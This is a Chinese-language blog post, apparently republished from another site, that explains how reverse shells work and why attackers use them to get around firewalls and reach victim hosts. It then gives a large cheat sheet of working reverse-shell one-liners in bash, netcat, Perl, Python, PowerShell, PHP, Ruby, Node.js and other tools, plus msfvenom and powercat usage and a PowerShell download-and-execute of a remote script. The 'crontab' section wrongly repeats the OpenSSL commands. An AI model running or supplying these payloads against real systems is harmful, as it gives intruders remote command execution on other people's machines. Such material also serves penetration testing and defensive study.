反弹Shell大全与原理

什么是反弹shell

reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹Shell大全与原理

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

  1. 对方主机在局域网内,从外网无法直接访问。
  2. 对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
  3. 对方的ip会动态改变,你不能持续控制。
  4. 对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
  5. 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到webshell后一般我们会反弹shell

反弹shell原理

  1. A主机开启9090端口的tcp服务
  2. B主机连接到A主机的9090的tcp服务
  3. A主机通过tcp服务把命令发到B主机
  4. B主机读取命令并且在bash中执行
  5. B主机把执行结果发给A主机

这样就可以在A主机中’操控’B主机了

反弹shell操作步骤

  1. 在本机开启并监听端口
  2. 在需要被控制的机器上执行反弹shell命令
  3. 在本机监听反弹shell的端口

反弹shell大全

反弹Shell大全与原理

Bash反弹shell

/bin/bash -c bash -i >& /dev/tcp/x.x.x.x/12345 0>&1

Bash反弹shell TCP

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
0<&196;exec 196<>/dev/tcp/<your IP>/<same unfiltered port>; sh <&196 >&196 2>&196

Bash反弹shell UDP

Victim:sh -i >& /dev/udp/127.0.0.1/4242 0>&1 
Listener:nc -u -lvp 4242

NC反弹shell

mknod backpipe p; nc <attacker_ip> <port> 0<backpipe | /bin/bash 1>backpipe mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 12388 >/tmp/f

perl反弹shell

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

NOTE: Windows only 
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' 

Python反弹shell

Linux

*// 方法一*
$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

*// 方法二*
$ export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Windows Python反弹shell

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Golang反弹shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Ncat反弹shell

ncat 127.0.0.1 4444 -e /bin/bash
ncat --udp 127.0.0.1 4444 -e /bin/bash

OpenSSL反弹shell

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
ncat --ssl -vv -l -p 4242 
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \| openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s

crontab反弹shell

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
ncat --ssl -vv -l -p 4242 
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \| openssl s_client -quiet -connect 127.0.0.1:4242 > /tmp/s; rm /tmp/s

PHP反弹shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Powershell反弹shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command **New**-**Object** System.Net.Sockets.TCPClient("[IPADDR]",[PORT]);$stream = $client.GetStream();[**byte**[]]$bytes = 0..65535\|%{0};**while**(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (**New**-**Object** -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-**String** );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() 

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535\|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 \| Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')

Ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows反弹shell

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Java反弹shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] **as** **String**[]) p.waitFor()

socat反弹shell

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.79.137:5555

Lua反弹shell

Linux

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Windows

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

Telnet反弹shell

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

获取反弹shell后,可使用python获得交互式shell

python -c'import pty; pty.spawn("/bin/bash")' python -c ''' import pty while(1):   try:     pty.spawn("/bin/bash")   except :     contiune'''

Nodejs反弹shell

(**function**(){  **var** net = require("net"),    cp = require("child_process"),    sh = cp.spawn("/bin/sh", []);  **var** client = **new** net.Socket();  client.connect(8080, "10.17.26.64", **function**(){    client.pipe(sh.stdin);    sh.stdout.pipe(client);    sh.stderr.pipe(client);  });  **return** /a/; *// Prevents the Node.js application form crashing*})(); **or** require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]') **or** -**var** x = global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash') **or** https:*//gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py*

C反弹shell

$ gcc c_revese_shell.c -o cshell$ ./cshell 192.168.1.128 8080

UDP反弹shell

*// 注意这里务必要用udp的模式来接*
$ nc -l -p 53 -u$ python udpshell.py 192.168.1.128 53 udp

MSF生成反弹shell

metasploit 是一个非常强大的渗透工具箱,当然也包括了反弹语句的生成与接收反弹shell的平台。它也能生成反弹shell一句话

msf > msfvenom -l payloads 'cmd/unix/reverse' | grep unix

msfvenom 有点类似于生成的语句,当然这个工具还可以用来生成shellcode之类的。-l 是查找所有的pyaloads。cmd/unix/reverse 是关键词过滤。为了找到攻击debain的语句,就加了个正则。

生成bash反弹shell

## 首先查看命令的参数
msf > msfvenom -p cmd/unix/reverse_netcat --list-options>> LPORT >> LHOSTmsfvenom -p cmd/unix/reverse_bash lhost=192.168.79.127 lport=5555

WIndows反弹shell补充

除了上面这些可以通用的语言反弹shell之外,可能最重要的就是powershell了,当然还有vbs(2003以下的系统),所以Windows反弹shell还是非常重要的技能。

*// 可能是因为cmd默认的字符集[gbk]所以才会乱码,如果是英文系统就不会了*
$ powershell –exec bypass –Command "& {Import-Module 'C:\mini-reverse.ps1'}"

powercat反弹shell,其实就是powershell版的netcat

PS C:\> Set-ExecutionPolicy UnrestrictedPS 
C:\> cd .\powercatPS 
C:\powercat> Import-Module .\powercat.ps1PS 
C:\powercat> powercat -c 192.168.1.128 -p 8080 -e cmd -g >> payload.ps1
C:\>nc -lvp 8080

然后,把payload.ps1丢到目标机器上去执行

powershell –exec bypass –Command "& {Import-Module 'C:\payload.ps1'}"

扩展

ew网络穿透工具反弹Shell

https://github.com/idlefire/ew

frp网络穿透工具反弹Shell

https://github.com/fatedier/frp/releases/tag/v0.36.2


原文连接:https://www.uedbox.com/post/54632/


  转载请注明: XingHe 反弹Shell大全与原理

 上一篇
CNVD证书获得及要求 CNVD证书获得及要求
4月份利用闲时时间对学校资产进行了一波渗透测试,发现蛮多的漏洞,这其中就发现了这次证书的漏洞厂商,前不久证书也下来了,再加上有时间就对这次收获做一次总结。
2021-05-22
下一篇 
edusrc挖掘思路 edusrc挖掘思路
好看的证书哪里要?当然是edusrc,本文分享一下我挖edusrc的思路
2021-05-09
  目录